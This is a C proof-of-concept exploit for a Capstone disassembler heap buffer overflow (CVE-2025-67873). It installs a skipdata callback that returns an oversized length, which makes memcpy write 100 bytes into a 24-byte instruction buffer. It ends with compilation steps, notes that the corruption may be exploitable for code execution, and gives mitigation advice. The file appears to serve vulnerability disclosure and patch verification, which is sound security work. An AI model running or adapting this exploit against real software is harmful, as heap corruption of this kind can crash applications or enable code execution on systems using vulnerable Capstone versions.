/*
* CVE-2025-67873 PoC - Capstone Skipdata Heap Buffer Overflow
* This PoC demonstrates the heap buffer overflow in cs_insn.bytes when
* a malicious skipdata callback returns an oversized length value.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "capstone/capstone.h"
// Malicious skipdata callback that returns oversized length
static size_t malicious_skipdata(const cs_insn *insn, size_t count, void *user_data) {
printf("[+] Malicious skipdata callback invoked\n");
printf("[+] Original insn->size: %u, bytes[0-3]: %02x %02x %02x %02x\n",
insn->size, insn->bytes[0], insn->bytes[1], insn->bytes[2], insn->bytes[3]);
// Return a length larger than 24 bytes to trigger overflow
// cs_insn.bytes is typically 24 bytes, overflowing it causes heap corruption
return 100; // This will cause memcpy to write 100 bytes into 24-byte buffer
}
int main(int argc, char **argv) {
csh handle;
cs_insn *insn;
size_t count;
// Sample x86 binary code (will trigger skipdata handling)
unsigned char code[] = {
0x90, 0x90, 0x90, 0x90, // NOPs
0x0F, 0x01, 0xFF, // Invalid/extended instruction
0x66, 0x90, // Another instruction
0xCC, 0xCC, 0xCC // INT3 padding
};
printf("[*] CVE-2025-67873 PoC - Capstone Heap Buffer Overflow\n");
printf("[*] Target: Capstone <= 6.0.0-Alpha5\n\n");
// Initialize Capstone in SKIPDATA mode
if (cs_open(CS_ARCH_X86, CS_MODE_64, &handle) != CS_ERR_OK) {
printf("[-] Failed to initialize Capstone\n");
return 1;
}
// Enable skipdata mode with our malicious callback
cs_option(handle, CS_OPT_SKIPDATA, CS_OPT_ON);
cs_option(handle, CS_OPT_SKIPDATA_MODE, CS_SKIPDATA_CALLBACK);
// Set the malicious skipdata callback
cs_set_skipdata_func(handle, malicious_skipdata, NULL);
printf("[*] Disassembling %zu bytes of code...\n", sizeof(code));
// This call will trigger the overflow when skipdata callback returns 100
count = cs_disasm(handle, code, sizeof(code), 0x1000, 0, &insn);
if (count > 0) {
printf("[+] Disassembly completed, %zu instructions\n", count);
for (size_t i = 0; i < count; i++) {
printf(" 0x%lx: %s %s\n", insn[i].address, insn[i].mnemonic, insn[i].op_str);
}
cs_free(insn, count);
} else {
printf("[-] Disassembly failed: %s\n", cs_strerror(cs_errno(handle)));
}
cs_close(&handle);
printf("[*] Test completed\n");
return 0;
}
/*
* Compilation:
* gcc -o poc poc.c -lcapstone
*
* Expected behavior:
* - Heap buffer overflow when memcpy writes 100 bytes into cs_insn.bytes[24]
* - May cause crash or be exploitable for code execution
*
* Mitigation:
* - Upgrade to Capstone version with fix (commit cbef767)
* - Validate skipdata callback return values
*/